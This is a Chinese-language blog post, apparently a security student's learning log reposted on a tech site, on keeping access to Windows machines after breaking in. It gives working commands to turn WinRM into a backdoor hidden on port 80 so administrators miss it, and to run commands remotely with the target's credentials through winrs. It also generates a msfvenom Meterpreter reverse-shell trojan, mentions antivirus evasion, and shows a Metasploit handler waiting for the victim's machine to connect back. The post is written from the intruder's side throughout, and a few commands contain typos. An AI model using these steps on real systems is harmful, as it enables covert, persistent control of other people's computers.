栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

网安学习日志(7)windows权限维持

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

网安学习日志(7)windows权限维持

什么是权限维持?

在我们通过入侵手段进入对方服务器后,通常会使用一些后门来维持权限

方法诸如隐藏文件,隐藏账户等方法在这里不进行赘述(方法已经落后,容易被工具直接检测出来)

1.端口复用

该后门的基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。

WinRM服务

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。

HTTP.sys驱动

HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。

使用netsh http show servicestate命令可以查看所有在HTTP.sys上注册过的url前缀。

实际上,WinRM就是在HTTP.sys上注册了wsman的URL前缀,默认监听端口5985。这点从微软公布的WinRM的架构图也可以看出来。
接下来我们将在windows7的操作系统上进行演示。

1.1后门配置

对于端口复用,首先我们得开启winrm服务
在Windows 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口(默认开启)
对于Windows 2008(windows7)来说,需要使用命令来启动WinRM服务,快速配置和启动的命令是

netstat -ano //查看端口信息
winrm qucikconfig -q //添加防火墙规则


我这里已经打开了服务,所以就可以看到5985端口是打开的

接下来 我们要给winrm添加一个80的监听端口
这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。

x winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}


通俗的来说,端口复用的概念在我们这个实例中,就是将80端口赋于了5985端口的功能

修改winrm的端口
对于windows2008(windows7等等)之前的用户,winrm服务本身是不开启的。
也就是说5985端口在正常情况不开启,那么如果5985开启了,就容易被管理员发现。
我们可以通过以下命令来将其修改为80端口:

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}


经过修改,我们发现5985已经被修改成80端口。

正常查询中,也找不到5985端口的信息

1.2后门连接和使用

以下的操作都基于你知道了对方的账号和密码

winrs -r:对方的ip地址 -u:账户名 -p:账户密码 whoami

我们分析上面的语句,就不难发现,winrs -r:对方的ip地址 -u:账户名 -p:账户密码语句执行的是通过80端口执行,而whoami就是5985端口执行的
执行一下上述语句

可见我们得到了对方的计算机名称和账户名称
我们把whoami参数改为cmd


即我们可以发现我们直接能够使用对方的cmd功能。

其后还有一种hash登录的方式,这里不做演示。

2.进程注入

进程注入,顾名思义,通过一个进程来注入我们所要做的事情。
在注入之前,我们首先要生成一个木马(木马就得要实现免杀,也就是防止杀毒软件直接把我们的木马给杀掉了)
windows下,我们可以使用这种方式来生成一个木马。

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
//reverse是反向的意思 -f是format也就是格式的意思

这种木马能一定程度上实现免杀,同时他是一种反弹木马,从防火墙内部指向外部。

可见,我们创建好了一个demo.exe文件作为我们的木马
这个时候,我们要想到,如果对方启动了我们的木马文件,这个时候就会与我们进行连接,那么我们就应该对我们刚刚设置的6666端口做一个监听。
我们可以通过msfconsole命令进入监听模块

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp //设置文件路径
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.243.130//设置地址
lhost => 192.168.243.130
msf6 exploit(multi/handler) > set lport 6666//设置端口
lport => 6666
msf6 exploit(multi/handler) > exploit  //开启服务

[-] Handler failed to bind to 192.168.243.130:6666:-  -
[*] Started reverse TCP handler on 0.0.0.0:6666 


当对方一旦开启我们的demo.exe文件,这个时候我们就可以完全的控制对方的计算机了。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/705893.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号